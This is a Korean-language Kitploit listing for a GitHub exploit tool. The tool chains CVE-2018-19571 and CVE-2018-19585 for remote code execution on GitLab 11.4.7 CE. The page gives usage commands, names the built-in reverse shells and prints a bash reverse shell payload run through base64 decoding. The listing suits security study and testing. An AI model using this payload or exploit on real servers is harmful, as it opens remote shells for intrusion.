Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gitlab-RCE-11.4.7 — GitLab 11.4.7 RCE 익스플로잇, 다양한 리버스 셸 포함. CVE-2018-19571 + CVE-2018-19585 | Kitploit
도구/GitHubGitHub/algafix/gitlab-rce-11.4.7
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubalgafix/gitlab-rce-11.4.7

gitlab-RCE-11.4.7

GitLab 11.4.7 RCE 익스플로잇, 다양한 리버스 셸 포함. CVE-2018-19571 + CVE-2018-19585

저장소 보기
335년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

gitlab-RCE-11.4.7

GitLab 11.4.7 CE RCE 익스플로잇 - 다양한 리버스 쉘 지원. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585

학습 및 연습 목적으로 Sam Redmond and Tam Lai Yin의 버전을 수정한 것입니다.

사용 방법

모든 것이 그래야 하듯 Python3로 작성되었습니다.

의존성:

root@kitploit:~
pip3 install requests

사용법:

root@kitploit:~
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]

기본적으로 -e 옵션이 있는 netcat 쉘이 사용됩니다.

내장 쉘

현재 내장된 쉘:

  • nc_e
    • -e 옵션이 있는 Netcat.
  • bash:
    • 절대 경로로 실행되는 Bash.
  • perl:
    • $PATH에서 실행되는 Perl.
  • python3:
    • $PATH에서 실행되는 Python3.
  • ruby:
    • $PATH에서 실행되는 Ruby.
  • php:
    • $PATH에서 실행되는 PHP. 참고: 일반적으로 GitLab Docker에서는 작동하지 않습니다.

사용자 정의 쉘 추가

일부 쉘에는 요청 인코딩과 호환되지 않는 문자가 포함되어 있습니다. 따라서 Base64로 인코딩된 후 피해자 머신에서 디코딩되어 실행됩니다.

자신의 쉘을 추가하려면 payloads_dict 구조체에 값을 추가하세요.

다음을 정의해야 합니다:

root@kitploit:~
'bash': {
    # If the raw_payload can be executed withoud encoding
    'safe': False,
    # Payload, must contain the references for the local_ip and for the local_port
    'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
    # How to execute the payload if safe is False. Must conatin the reference for payload
    'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}

면책 조항

HTML 구문 분석이 하드코딩되어 있어 쉽게 깨질 수 있습니다.

도구 다운로드